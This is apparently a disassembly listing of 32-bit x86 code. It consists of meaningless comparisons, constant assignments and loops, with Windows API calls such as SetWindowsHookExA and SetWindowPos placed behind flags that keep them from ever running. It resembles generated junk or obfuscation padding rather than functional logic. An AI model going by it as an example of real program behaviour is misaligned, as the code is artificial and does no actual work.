lea ecx, [ebp - 0x22e0]
call fcn.004281c0
cmp esi, dword [eax]
jge 0x40abe2
mov dword [ebp - 0x19b8], 1
jmp 0x40abec
mov dword [ebp - 0x19b8], 0
mov edx, dword [ebp - 0x4ec]
cmp dword [ebp - 0x19b8], edx
jg 0x40ac06
mov dword [ebp - 0x20e4], 1
jmp 0x40ac10
mov dword [ebp - 0x20e4], 0
cmp dword [ebp - 0x20ec], 0
je 0x40ac2e
mov eax, 0x60e2efe8
test eax, eax
je 0x40ac2e
mov dword [ebp - 0x20f4], 1
jmp 0x40ac38
mov dword [ebp - 0x20f4], 0
push 2
lea ecx, [ebp - 0x22e0]
call fcn.004281c0
mov ecx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2610], ecx
cmp dword [ebp - 0xba4], 0
cmp dword [ebp - 0x4ec], 0
jne 0x40ac76
cmp dword [ebp - 0x4ec], 0
jne 0x40ac76
mov dword [ebp - 0xb94], 0
jmp 0x40ac80
mov dword [ebp - 0xb94], 1
mov edx, dword [ebp - 0xb94]
mov dword [ebp - 0x19c0], edx
mov eax, dword [ebp - 0x19c0]
add eax, dword [ebp - 0x20fc]
add eax, dword [ebp - 0x2104]
jne 0x40acac
mov dword [ebp - 0xb9c], 0
jmp 0x40acb6
mov dword [ebp - 0xb9c], 1
mov ecx, 4
shl ecx, 0
mov edx, dword [ebp + ecx - 0x2dd4]
cmp dword [ebp - 0xb9c], edx
jge 0x40acd9
mov dword [ebp - 0x19c8], 1
jmp 0x40ace3
mov dword [ebp - 0x19c8], 0
mov eax, dword [ebp - 0x19c8]
sub eax, dword [ebp - 0xba4]
mov dword [ebp - 0x210c], eax
lea ecx, [ebp - 0x22e0]
call fcn.004281a0
mov dword [ebp - 0x1e8], 0x871c7bf0
mov dword [ebp - 0x314], 0xffffffff
mov dword [ebp - 0x19f0], 0xe42506ed
push 4
lea ecx, [ebp - 0x1ba8]
call fcn.00428070
mov dword [ebp - 0x7cc], 0
jmp 0x40ad46
mov ecx, dword [ebp - 0x7cc]
add ecx, 1
mov dword [ebp - 0x7cc], ecx
cmp dword [ebp - 0x7cc], 4
jge 0x40ad69
mov edx, dword [ebp - 0x7cc]
push edx
lea ecx, [ebp - 0x1ba8]
call fcn.004281c0
mov dword [eax], 0x2fce4a83
jmp 0x40ad37
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x2618], eax
mov ecx, dword [ebp - 0x1e8]
mov dword [ebp - 0x2620], ecx
cmp dword [ebp - 0x1e8], 1
jl 0x40ad96
mov dword [ebp - 0x19d0], 1
jmp 0x40ada0
mov dword [ebp - 0x19d0], 0
mov edx, dword [ebp - 0x1e8]
cmp dword [ebp - 0x19d0], edx
jg 0x40adba
mov dword [ebp - 0x2114], 1
jmp 0x40adc4
mov dword [ebp - 0x2114], 0
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x2628], eax
mov dword [ebp - 0x314], 0x250e
mov ecx, dword [ebp - 0x1e8]
cmp dword [ebp - 0x314], ecx
jne 0x40aef1
mov dword [ebp - 0x4f4], 0x9ecf
mov dword [ebp - 0xa78], 0xa30a4ccf
mov dword [ebp - 0x19e0], 0xfffffffb
mov dword [ebp - 0x2124], 0xa025ec56
mov edx, dword [ebp - 0x4f4]
mov dword [ebp - 0x2630], edx
cmp dword [ebp - 0xa78], 0x6c4a87fc
je 0x40aebe
mov eax, dword [ebp - 0x4f4]
cmp dword [ebp - 0xa78], eax
jge 0x40ae4a
mov dword [ebp - 0xbac], 1
jmp 0x40ae54
mov dword [ebp - 0xbac], 0
mov ecx, dword [ebp - 0xa78]
cmp dword [ebp - 0xbac], ecx
jl 0x40ae6e
mov dword [ebp - 0x211c], 1
jmp 0x40ae78
mov dword [ebp - 0x211c], 0
cmp dword [ebp - 0x1e8], 0
jne 0x40ae96
cmp dword [ebp - 0x4f4], 0
jne 0x40ae96
mov dword [ebp - 0x19d8], 0
jmp 0x40aea0
mov dword [ebp - 0x19d8], 1
cmp dword [ebp - 0x19d8], 0xfffffffa
jle 0x40aebe
cmp dword [ebp - 0x4f4], 0
je 0x40aebe
mov dword [ebp - 0xbb4], 1
jmp 0x40aec8
mov dword [ebp - 0xbb4], 0
mov edx, dword [ebp - 0xbb4]
mov dword [ebp - 0x19e0], edx
mov eax, dword [ebp - 0x19e0]
sub eax, dword [ebp - 0x314]
imul ecx, eax, 0xb3bf
mov dword [ebp - 0x2124], ecx
jmp 0x40b1ea
mov dword [ebp - 0x47c], 0xffff
mov dword [ebp - 0x488], 3
mov dword [ebp - 0xa80], 0x392e18e6
mov dword [ebp - 0xa50], 0xffffffff
mov dword [ebp - 0x2218], 9
mov edx, dword [ebp - 0x19f0]
mov dword [ebp - 0x2638], edx
push 1
lea ecx, [ebp - 0x1ba8]
call fcn.004281c0
mov ecx, dword [ebp - 0x47c]
cmp dword [eax], ecx
jge 0x40af52
mov dword [ebp - 0xbbc], 1
jmp 0x40af5c
mov dword [ebp - 0xbbc], 0
push 1
lea ecx, [ebp - 0x1ba8]
call fcn.004281c0
mov edx, dword [ebp - 0xbbc]
cmp edx, dword [eax]
je 0x40af7f
mov dword [ebp - 0x19e8], 1
jmp 0x40af89
mov dword [ebp - 0x19e8], 0
push 1
lea ecx, [ebp - 0x1ba8]
call fcn.004281c0
mov ecx, dword [ebp - 0x19e8]
cmp ecx, dword [eax]
jge 0x40afac
mov dword [ebp - 0xbc4], 1
jmp 0x40afb6
mov dword [ebp - 0xbc4], 0
mov edx, dword [ebp - 0xbc4]
sub edx, 4
imul edx, dword [ebp - 0x47c]
neg edx
imul edx, dword [ebp - 0x488]
cmp dword [ebp - 0x47c], edx
jl 0x40afe3
mov dword [ebp - 0xbcc], 1
jmp 0x40afed
mov dword [ebp - 0xbcc], 0
mov eax, dword [ebp - 0x19f0]
cmp dword [ebp - 0xbcc], eax
jl 0x40b007
mov dword [ebp - 0x19f8], 1
jmp 0x40b011
mov dword [ebp - 0x19f8], 0
cmp dword [ebp - 0x19f8], 0x34174aa7
jne 0x40b029
mov dword [ebp - 0xbd4], 1
jmp 0x40b033
mov dword [ebp - 0xbd4], 0
mov ecx, dword [ebp - 0x314]
cmp ecx, dword [ebp - 0xbd4]
jne 0x40b04d
mov dword [ebp - 0x1a00], 1
jmp 0x40b057
mov dword [ebp - 0x1a00], 0
mov edx, dword [ebp - 0x1a00]
neg edx
mov dword [ebp - 0xa80], edx
je 0x40b07c
cmp dword [ebp - 0xa80], 0
je 0x40b07c
mov dword [ebp - 0xbdc], 1
jmp 0x40b086
mov dword [ebp - 0xbdc], 0
mov eax, dword [ebp - 0xbdc]
mov dword [ebp - 0xa50], eax
cmp dword [ebp - 0xa50], 0xffffffff
jb 0x40b0a7
mov dword [ebp - 0x1a08], 1
jmp 0x40b0b1
mov dword [ebp - 0x1a08], 0
push 3
lea ecx, [ebp - 0x1ba8]
call fcn.004281c0
mov ecx, dword [ebp - 0x1a08]
imul ecx, dword [eax]
cmp ecx, dword [ebp - 0x488]
jne 0x40b0db
mov dword [ebp - 0xbe4], 1
jmp 0x40b0e5
mov dword [ebp - 0xbe4], 0
cmp dword [ebp - 0xbe4], 0xfffffff8
jne 0x40b0fa
mov dword [ebp - 0x1a10], 1
jmp 0x40b104
mov dword [ebp - 0x1a10], 0
mov edx, dword [ebp - 0x1a10]
sub edx, dword [ebp - 0x488]
cmp edx, 0xf606
je 0x40b124
mov dword [ebp - 0xbec], 1
jmp 0x40b12e
mov dword [ebp - 0xbec], 0
mov eax, dword [ebp - 0x47c]
cmp dword [ebp - 0xbec], eax
jge 0x40b148
mov dword [ebp - 0x212c], 1
jmp 0x40b152
mov dword [ebp - 0x212c], 0
mov ecx, dword [ebp - 0x47c]
mov dword [ebp - 0x2640], ecx
mov edx, dword [ebp - 0x314]
mov dword [ebp - 0x2648], edx
mov eax, dword [ebp - 0x488]
mov dword [ebp - 0x2650], eax
cmp dword [ebp - 0xa50], 0xfff7
jbe 0x40b18e
mov dword [ebp - 0x1a18], 1
jmp 0x40b198
mov dword [ebp - 0x1a18], 0
cmp dword [ebp - 0x1a18], 0xe38e
jle 0x40b1b0
mov dword [ebp - 0xbf4], 1
jmp 0x40b1ba
mov dword [ebp - 0xbf4], 0
mov ecx, dword [ebp - 0x2218]
cmp dword [ebp - 0xbf4], ecx
jle 0x40b1d4
mov dword [ebp - 0x1a20], 1
jmp 0x40b1de
mov dword [ebp - 0x1a20], 0
mov edx, dword [ebp - 0x1a20]
mov dword [ebp - 0x314], edx
mov byte [ebp - 0x2ae], 0
movzx eax, byte [ebp - 0x2ae]
test eax, eax
je 0x40b20a
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
lea ecx, [ebp - 0x1ba8]
call fcn.004281a0
mov dword [ebp - 0x240], 1
mov dword [ebp - 0x6dc], 0x7e2799ac
mov dword [ebp - 0xbfc], 0xffffffff
mov dword [ebp - 0x6dc], 0xffffffe6
jmp 0x40b24e
mov ecx, dword [ebp - 0x6dc]
add ecx, 1
mov dword [ebp - 0x6dc], ecx
cmp dword [ebp - 0x6dc], 0xfffffff7
jge 0x40b31e
mov dword [ebp - 0x2220], 0x4d2edc75
push 2
lea ecx, [ebp - 0x213c]
call fcn.00428070
mov dword [ebp - 0x4fc], 0
jmp 0x40b28d
mov edx, dword [ebp - 0x4fc]
add edx, 1
mov dword [ebp - 0x4fc], edx
cmp dword [ebp - 0x4fc], 2
jge 0x40b2b0
mov eax, dword [ebp - 0x4fc]
push eax
lea ecx, [ebp - 0x213c]
call fcn.004281c0
mov dword [eax], 0xffffffff
jmp 0x40b27e
mov esi, dword [ebp - 0x2220]
push 0
lea ecx, [ebp - 0x213c]
call fcn.004281c0
mov dword [eax], esi
push 0
lea ecx, [ebp - 0x213c]
call fcn.004281c0
mov ecx, dword [eax]
mov dword [ebp - 0xbfc], ecx
cmp dword [ebp - 0xbfc], 0
jne 0x40b2ef
mov dword [ebp - 0x1a28], 1
jmp 0x40b2f9
mov dword [ebp - 0x1a28], 0
push 0
lea ecx, [ebp - 0x213c]
call fcn.004281c0
mov edx, dword [ebp - 0x1a28]
mov dword [eax], edx
lea ecx, [ebp - 0x213c]
call fcn.004281a0
jmp 0x40b23f
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x16c], 4
mov dword [ebp - 0xc38], 1
mov dword [ebp - 0x91c], 0xfffffffa
mov dword [ebp - 0x9ec], 0x7800ff6
mov dword [ebp - 0x1f8], 0x17
jmp 0x40b36b
mov eax, dword [ebp - 0x1f8]
sub eax, 1
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0xfffffffd
jg 0x40b74c
mov dword [ebp - 0x1f0], 0xffffffff
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xc30], 0x5aba8d6e
mov ecx, dword [ebp - 0x91c]
sub ecx, 1
mov dword [ebp - 0x91c], ecx
mov edx, dword [ebp - 0x91c]
add edx, dword [ebp - 0xa8]
je 0x40b41e
mov eax, dword [ebp - 0xa8]
add eax, dword [ebp - 0xa8]
jne 0x40b3d6
mov ecx, 0x15bb
test ecx, ecx
je 0x40b3d6
mov dword [ebp - 0xc04], 0
jmp 0x40b3e0
mov dword [ebp - 0xc04], 1
mov edx, dword [ebp - 0x1f8]
cmp dword [ebp - 0xc04], edx
jle 0x40b3fa
mov dword [ebp - 0x1a30], 1
jmp 0x40b404
mov dword [ebp - 0x1a30], 0
mov eax, dword [ebp - 0xc38]
cmp dword [ebp - 0x1a30], eax
jge 0x40b41e
mov dword [ebp - 0xc0c], 1
jmp 0x40b428
mov dword [ebp - 0xc0c], 0
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0xa8], ecx
cmp dword [ebp - 0xa8], 6
jbe 0x40b449
mov dword [ebp - 0x1a38], 1
jmp 0x40b453
mov dword [ebp - 0x1a38], 0
mov edx, dword [ebp - 0x16c]
cmp edx, dword [ebp - 0x1a38]
jl 0x40b46d
mov dword [ebp - 0xc14], 1
jmp 0x40b477
mov dword [ebp - 0xc14], 0
cmp dword [ebp - 0xc14], 0
jne 0x40b49e
mov eax, 0x8ebdb88d
test eax, eax
jne 0x40b49e
cmp dword [ebp - 0x9ec], 0
jne 0x40b49e
mov dword [ebp - 0x1a40], 0
jmp 0x40b4a8
mov dword [ebp - 0x1a40], 1
mov ecx, dword [ebp - 0x1f0]
add ecx, dword [ebp - 0x1a40]
neg ecx
add ecx, dword [ebp - 0x1f0]
jne 0x40b4d3
mov edx, 9
test edx, edx
jne 0x40b4d3
mov dword [ebp - 0xc1c], 0
jmp 0x40b4dd
mov dword [ebp - 0xc1c], 1
mov eax, dword [ebp - 0x1f0]
cmp dword [ebp - 0xc1c], eax
jne 0x40b4f7
mov dword [ebp - 0x1a48], 1
jmp 0x40b501
mov dword [ebp - 0x1a48], 0
mov ecx, dword [ebp - 0x9ec]
cmp dword [ebp - 0x1a48], ecx
jg 0x40b51b
mov dword [ebp - 0xc24], 1
jmp 0x40b525
mov dword [ebp - 0xc24], 0
mov edx, dword [ebp - 0x1f8]
cmp edx, dword [ebp - 0xc24]
jne 0x40b53f
mov dword [ebp - 0x1a50], 1
jmp 0x40b549
mov dword [ebp - 0x1a50], 0
mov eax, dword [ebp - 0x9ec]
add eax, dword [ebp - 0x1a50]
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x1f0], 0x1c
jmp 0x40b576
mov ecx, dword [ebp - 0x1f0]
sub ecx, 1
mov dword [ebp - 0x1f0], ecx
cmp dword [ebp - 0x1f0], 0xffffffe6
jle 0x40b747
push 3
lea ecx, [ebp - 0x22f8]
call fcn.00428070
mov dword [ebp - 0x884], 0
jmp 0x40b5ab
mov edx, dword [ebp - 0x884]
add edx, 1
mov dword [ebp - 0x884], edx
cmp dword [ebp - 0x884], 3
jge 0x40b5ce
mov eax, dword [ebp - 0x884]
push eax
lea ecx, [ebp - 0x22f8]
call fcn.004281c0
mov dword [eax], 7
jmp 0x40b59c
mov byte [ebp - 0x2b0], 0
movzx ecx, byte [ebp - 0x2b0]
test ecx, ecx
je 0x40b5ee
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_EnumFontsA]
mov dword [ebp - 0xa8], 2
jmp 0x40b609
mov edx, dword [ebp - 0xa8]
sub edx, 1
mov dword [ebp - 0xa8], edx
cmp dword [ebp - 0xa8], 0
jl 0x40b737
mov dword [ebp - 0x2228], 0x29ba1f1c
mov dword [ebp - 0x16c], 0
jmp 0x40b63b
mov eax, dword [ebp - 0x16c]
add eax, 1
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 2
jg 0x40b65f
mov ecx, dword [ebp - 0x16c]
push ecx
lea ecx, [ebp - 0x22f8]
call fcn.004281c0
cmp dword [eax], 0
je 0x40b65d
jmp 0x40b65f
jmp 0x40b62c
cmp dword [ebp - 0x16c], 0xb8a
jle 0x40b677
mov dword [ebp - 0x1a58], 1
jmp 0x40b681
mov dword [ebp - 0x1a58], 0
mov edx, dword [ebp - 0xa8]
cmp edx, dword [ebp - 0x1a58]
jl 0x40b69b
mov dword [ebp - 0x13d8], 1
jmp 0x40b6a5
mov dword [ebp - 0x13d8], 0
push 2
lea ecx, [ebp - 0x22f8]
call fcn.004281c0
mov eax, dword [eax]
mov dword [ebp - 0xc30], eax
mov ecx, dword [ebp - 0xc30]
cmp ecx, dword [ebp - 0x13d8]
jl 0x40b6d4
mov dword [ebp - 0x1a94], 1
jmp 0x40b6de
mov dword [ebp - 0x1a94], 0
mov edx, dword [ebp - 0xc38]
cmp dword [ebp - 0x1f8], edx
jne 0x40b6f8
mov dword [ebp - 0xc40], 1
jmp 0x40b702
mov dword [ebp - 0xc40], 0
mov eax, dword [ebp - 0x1a94]
cmp eax, dword [ebp - 0xc40]
jne 0x40b71c
mov dword [ebp - 0x13e0], 1
jmp 0x40b726
mov dword [ebp - 0x13e0], 0
mov ecx, dword [ebp - 0x13e0]
mov dword [ebp - 0x2228], ecx
jmp 0x40b5fa
lea ecx, [ebp - 0x22f8]
call fcn.004281a0
jmp 0x40b567
jmp 0x40b35c
mov dword [ebp - 0x6e4], 0x48261f9c
mov dword [ebp - 0x2234], 0x8959310c
mov dword [ebp - 0x504], 0
jmp 0x40b77b
mov edx, dword [ebp - 0x504]
add edx, 1
mov dword [ebp - 0x504], edx
cmp dword [ebp - 0x504], 1
jge 0x40b797
mov eax, dword [ebp - 0x504]
mov dword [ebp + eax*4 - 0x2658], 0xc4e2bf5
jmp 0x40b76c
mov dword [ebp - 0x6e4], 0
jmp 0x40b7b2
mov ecx, dword [ebp - 0x6e4]
sub ecx, 1
mov dword [ebp - 0x6e4], ecx
cmp dword [ebp - 0x6e4], 0xfffffffa
jne 0x40ba56
mov dword [ebp - 0x478], 0xffffffff
mov dword [ebp - 0x2660], 0x78555145
push 1
lea ecx, [ebp - 0x25bc]
call fcn.00428070
mov dword [ebp - 0x64], 0
jmp 0x40b7f2
mov edx, dword [ebp - 0x64]
add edx, 1
mov dword [ebp - 0x64], edx
cmp dword [ebp - 0x64], 2
jge 0x40b808
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x2700], 0x7cf2
jmp 0x40b7e9
mov dword [ebp - 0x64], 0
jmp 0x40b81a
mov ecx, dword [ebp - 0x64]
add ecx, 1
mov dword [ebp - 0x64], ecx
cmp dword [ebp - 0x64], 1
jge 0x40b830
mov edx, dword [ebp - 0x64]
mov dword [ebp + edx*4 - 0x2668], 0xd77cccae
jmp 0x40b811
mov dword [ebp - 0x64], 0
jmp 0x40b842
mov eax, dword [ebp - 0x64]
add eax, 1
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 1
jge 0x40b85f
mov ecx, dword [ebp - 0x64]
push ecx
lea ecx, [ebp - 0x25bc]
call fcn.004281c0
mov dword [eax], 1
jmp 0x40b839
mov byte [ebp - 0x2b2], 0
movzx edx, byte [ebp - 0x2b2]
test edx, edx
je 0x40b87d
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
mov dword [ebp - 0x478], 0
jmp 0x40b898
mov eax, dword [ebp - 0x478]
add eax, 1
mov dword [ebp - 0x478], eax
cmp dword [ebp - 0x478], 6
jne 0x40ba46
mov dword [ebp - 0x484], 0x9ba07e4f
mov dword [ebp - 0x2670], 4
mov dword [ebp - 0x2678], 0xd5493e
mov dword [ebp - 0x2680], 0xffffffff
mov dword [ebp - 0x2688], 3
mov dword [ebp - 0x2690], 0xfffffffc
mov dword [ebp - 0x2698], 0x16e074f0
mov dword [ebp - 0x484], 1
jmp 0x40b906
mov ecx, dword [ebp - 0x484]
sub ecx, 1
mov dword [ebp - 0x484], ecx
cmp dword [ebp - 0x484], 0
jl 0x40ba41
mov dword [ebp - 0x26a0], 0x5245f5b1
mov dword [ebp - 0x26a8], 0xddca2728
mov dword [ebp - 0x26b0], 0xf3ccd246
mov dword [ebp - 0x26b8], 0x9ba87a5e
mov dword [ebp - 0x26c0], 0xcb6a7f4e
mov dword [ebp - 0x26c8], 0xffffffff
mov dword [ebp - 0x26d0], 0xacb6d64b
mov dword [ebp - 0x26d8], 0x9f9034e1
push 3
lea ecx, [ebp - 0x2b30]
call fcn.00428070
mov dword [ebp - 0x50c], 0
jmp 0x40b98b
mov edx, dword [ebp - 0x50c]
add edx, 1
mov dword [ebp - 0x50c], edx
cmp dword [ebp - 0x50c], 3
jge 0x40b9ae
mov eax, dword [ebp - 0x50c]
push eax
lea ecx, [ebp - 0x2b30]
call fcn.004281c0
mov dword [eax], 1
jmp 0x40b97c
mov ecx, dword [ebp - 0x484]
cmp dword [ebp + ecx*4 - 0x2700], 0
jne 0x40b9d6
cmp dword [ebp - 0x478], 0xfff9
jb 0x40b9d6
mov dword [ebp - 0xc48], 0
jmp 0x40b9e0
mov dword [ebp - 0xc48], 1
cmp dword [ebp - 0xc48], 6
jae 0x40b9f5
mov dword [ebp - 0x17bc], 1
jmp 0x40b9ff
mov dword [ebp - 0x17bc], 0
mov edx, dword [ebp - 0x17bc]
mov dword [ebp - 0x2234], edx
push 0
lea ecx, [ebp - 0x25bc]
call fcn.004281c0
mov dword [ebp - 0xc50], eax
mov eax, dword [ebp - 0xc50]
mov ecx, dword [eax]
sub ecx, 1
mov edx, dword [ebp - 0xc50]
mov dword [edx], ecx
lea ecx, [ebp - 0x2b30]
call fcn.004281a0
jmp 0x40b8f7
jmp 0x40b889
lea ecx, [ebp - 0x25bc]
call fcn.004281a0
jmp 0x40b7a3
mov dword [ebp - 0x2478], 0
mov dword [ebp - 0x2474], 0
mov dword [ebp - 0x2470], 0
mov dword [ebp - 0x246c], 0
lea ecx, [ebp - 0xa59]
call fcn.00407d20
push eax
lea eax, [ebp - 0x2468]
push eax
lea ecx, [ebp - 0x2478]
push ecx
lea ecx, [ebp - 0x2e5c]
call fcn.00406600
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x1b24]
call fcn.00428140
mov dword [ebp - 0x70], 4
mov dword [ebp - 0x3b4], 0
mov dword [ebp - 0x924], 0xa7974498
mov dword [ebp - 0x224c], 0xfffffffb
mov dword [ebp - 0x13f8], 0
mov dword [ebp - 0x17cc], 0x71b2a125
mov dword [ebp - 0x21fc], 0xffffffff
cmp dword [ebp - 0x70], 0
je 0x40bbce
mov ecx, dword [ebp - 0x70]
mov dword [ebp - 0x26e0], ecx
mov edx, dword [ebp - 0x70]
mov dword [ebp - 0x26e8], edx
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x2898], eax
mov ecx, dword [ebp - 0x70]
sub ecx, 6
sub ecx, dword [ebp - 0x70]
cmp ecx, 0x3bed162c
jl 0x40bb3a
mov dword [ebp - 0x223c], 1
jmp 0x40bb44
mov dword [ebp - 0x223c], 0
mov edx, dword [ebp - 0x70]
mov dword [ebp - 0x28a0], edx
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x70], eax
jge 0x40bb61
mov dword [ebp - 0x13e8], 1
jmp 0x40bb6b
mov dword [ebp - 0x13e8], 0
mov ecx, dword [ebp - 0x70]
cmp dword [ebp - 0x13e8], ecx
je 0x40bb82
mov dword [ebp - 0xc58], 1
jmp 0x40bb8c
mov dword [ebp - 0xc58], 0
mov edx, dword [ebp - 0x70]
cmp dword [ebp - 0xc58], edx
jge 0x40bba3
mov dword [ebp - 0x19a4], 1
jmp 0x40bbad
mov dword [ebp - 0x19a4], 0
mov eax, dword [ebp - 0x19a4]
mov dword [ebp - 0x3b4], eax
mov ecx, dword [ebp - 0x3b4]
mov dword [ebp - 0x28a8], ecx
cmp dword [ebp - 0x924], 0
jne 0x40bbe3
cmp dword [ebp - 0x3b4], 0
je 0x40bbe3
mov dword [ebp - 0xc60], 1
jmp 0x40bbed
mov dword [ebp - 0xc60], 0
mov edx, dword [ebp - 0x70]
cmp dword [ebp - 0xc60], edx
jg 0x40bc04
mov dword [ebp - 0x13f0], 1
jmp 0x40bc0e
mov dword [ebp - 0x13f0], 0
cmp dword [ebp - 0x13f0], 1
je 0x40bc3f
cmp dword [ebp - 0x924], 0
je 0x40bc3f
mov byte [ebp - 0x2b4], 0
movzx eax, byte [ebp - 0x2b4]
test eax, eax
je 0x40bc3a
push 0
call dword [sym.imp.USER32.dll_IsZoomed]
jmp 0x40beca
mov dword [ebp - 0x7d4], 0
jmp 0x40bc5a
mov ecx, dword [ebp - 0x7d4]
add ecx, 1
mov dword [ebp - 0x7d4], ecx
cmp dword [ebp - 0x7d4], 2
jge 0x40bc76
mov edx, dword [ebp - 0x7d4]
mov dword [ebp + edx*4 - 0x444], 6
jmp 0x40bc4b
or eax, 0xffffffff
je 0x40bda6
mov dword [ebp - 0x3b4], 0x46c64e71
mov ecx, 4
shl ecx, 0
mov edx, dword [ebp + ecx - 0x444]
cmp dword [ebp - 0x3b4], edx
jge 0x40bcb0
mov eax, 4
shl eax, 0
cmp dword [ebp + eax - 0x444], 0
mov ecx, 0x8909
test ecx, ecx
jne 0x40bcd7
mov edx, 4
shl edx, 0
cmp dword [ebp + edx - 0x444], 0
jne 0x40bcd7
mov dword [ebp - 0xc68], 0
jmp 0x40bce1
mov dword [ebp - 0xc68], 1
cmp dword [ebp - 0xc68], 0xcfadbacd
ja 0x40bcf9
mov dword [ebp - 0x17c4], 1
jmp 0x40bd03
mov dword [ebp - 0x17c4], 0
mov eax, 4
shl eax, 0
mov ecx, dword [ebp + eax - 0x444]
cmp dword [ebp - 0x17c4], ecx
jle 0x40bd26
mov dword [ebp - 0x2244], 1
jmp 0x40bd30
mov dword [ebp - 0x2244], 0
mov edx, 4
shl edx, 0
mov eax, dword [ebp + edx - 0x444]
mov dword [ebp - 0x28b0], eax
mov ecx, 4
shl ecx, 0
cmp dword [ebp + ecx - 0x444], 0xfffffffb
jl 0x40bd63
mov dword [ebp - 0xc70], 1
jmp 0x40bd6d
mov dword [ebp - 0xc70], 0
mov edx, dword [ebp - 0x13f8]
cmp dword [ebp - 0xc70], edx
jg 0x40bd87
mov dword [ebp - 0xc78], 1
jmp 0x40bd91
mov dword [ebp - 0xc78], 0
mov eax, dword [ebp - 0x13f8]
imul eax, dword [ebp - 0xc78]
cmp dword [ebp - 0x224c], eax
jl 0x40bdc4
mov ecx, 4
shl ecx, 0
cmp dword [ebp + ecx - 0x444], 0
jne 0x40bdc4
mov dword [ebp - 0x1b4c], 0
jmp 0x40bdce
mov dword [ebp - 0x1b4c], 1
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp + eax - 0x444]
cmp dword [ebp - 0x1b4c], ecx
jl 0x40bdf1
mov dword [ebp - 0xc80], 1
jmp 0x40bdfb
mov dword [ebp - 0xc80], 0
mov edx, 4
shl edx, 0
mov eax, dword [ebp + edx - 0x444]
cmp dword [ebp - 0xc80], eax
jl 0x40be1e
mov dword [ebp - 0x2230], 1
jmp 0x40be28
mov dword [ebp - 0x2230], 0
mov ecx, 4
shl ecx, 0
cmp dword [ebp + ecx - 0x444], 0xfffffff9
jbe 0x40be46
mov dword [ebp - 0x1400], 1
jmp 0x40be50
mov dword [ebp - 0x1400], 0
mov edx, 4
shl edx, 0
mov eax, dword [ebp + edx - 0x444]
cmp dword [ebp - 0x1400], eax
jle 0x40be7c
mov ecx, 0x9a030833
test ecx, ecx
jne 0x40be7c
mov dword [ebp - 0xc88], 0
jmp 0x40be86
mov dword [ebp - 0xc88], 1
mov edx, dword [ebp - 0xc88]
mov dword [ebp - 0x17cc], edx
mov eax, dword [ebp - 0x924]
sub eax, dword [ebp - 0x17cc]
mov dword [ebp - 0x21fc], eax
mov byte [ebp - 0x2b6], 0
movzx ecx, byte [ebp - 0x2b6]
test ecx, ecx
je 0x40beca
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowPos]
mov byte [ebp - 0x1e9], 0
movzx edx, byte [ebp - 0x1e9]
test edx, edx
je 0x40bee4
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x3ac], 0xfffffff9
mov dword [ebp - 0x148], 0xcea5d6c0
mov dword [ebp - 0x1df8], 0x108531d1
mov dword [ebp - 0x28b8], 0xfffffff9
mov dword [ebp - 0x205c], 0xffffffff
mov dword [ebp - 0x28c0], 0x10466712
mov dword [ebp - 0x4c], 0
jmp 0x40bf32
mov eax, dword [ebp - 0x4c]
add eax, 1
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 2
jge 0x40bf48
mov ecx, dword [ebp - 0x4c]
mov dword [ebp + ecx*4 - 0x270c], 6
jmp 0x40bf29
mov dword [ebp - 0x4c], 0
jmp 0x40bf5a
mov edx, dword [ebp - 0x4c]
add edx, 1
mov dword [ebp - 0x4c], edx
cmp dword [ebp - 0x4c], 2
jge 0x40bf70
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x2718], 3
jmp 0x40bf51
mov dword [ebp - 0x4c], 0
jmp 0x40bf82
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
cmp dword [ebp - 0x4c], 1
jge 0x40bf98
mov edx, dword [ebp - 0x4c]
mov dword [ebp + edx*4 - 0xc90], 0x14a3a6d7
jmp 0x40bf79
mov dword [ebp - 0x148], 0x15
jmp 0x40bfb3
mov eax, dword [ebp - 0x148]
sub eax, 1
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0x14
jg 0x40bfdc
mov byte [ebp - 0x2ce], 0
movzx ecx, byte [ebp - 0x2ce]
test ecx, ecx
je 0x40bfda
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_LineTo]
jmp 0x40bfa4
mov dword [ebp - 0x148], 0
jmp 0x40bff7
mov edx, dword [ebp - 0x148]
sub edx, 1
mov dword [ebp - 0x148], edx
cmp dword [ebp - 0x148], 0xfffffff4
jne 0x40c2a3
push 1
lea ecx, [ebp - 0x2328]
call fcn.00428070
mov dword [ebp - 0x1410], 0xffffffff
mov dword [ebp - 0x28c8], 0x4039ee49
push 2
lea ecx, [ebp - 0x2310]
call fcn.00428070
mov dword [ebp - 0x1bfc], 5
mov dword [ebp - 0x1fd0], 0x10079d62
mov dword [ebp - 0xcc], 0
jmp 0x40c061
mov eax, dword [ebp - 0xcc]
add eax, 1
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 1
jge 0x40c084
mov ecx, dword [ebp - 0xcc]
push ecx
lea ecx, [ebp - 0x2328]
call fcn.004281c0
mov dword [eax], 0x4320e32c
jmp 0x40c052
mov dword [ebp - 0xcc], 0
jmp 0x40c09f
mov edx, dword [ebp - 0xcc]
add edx, 1
mov dword [ebp - 0xcc], edx
cmp dword [ebp - 0xcc], 2
jge 0x40c0c2
mov eax, dword [ebp - 0xcc]
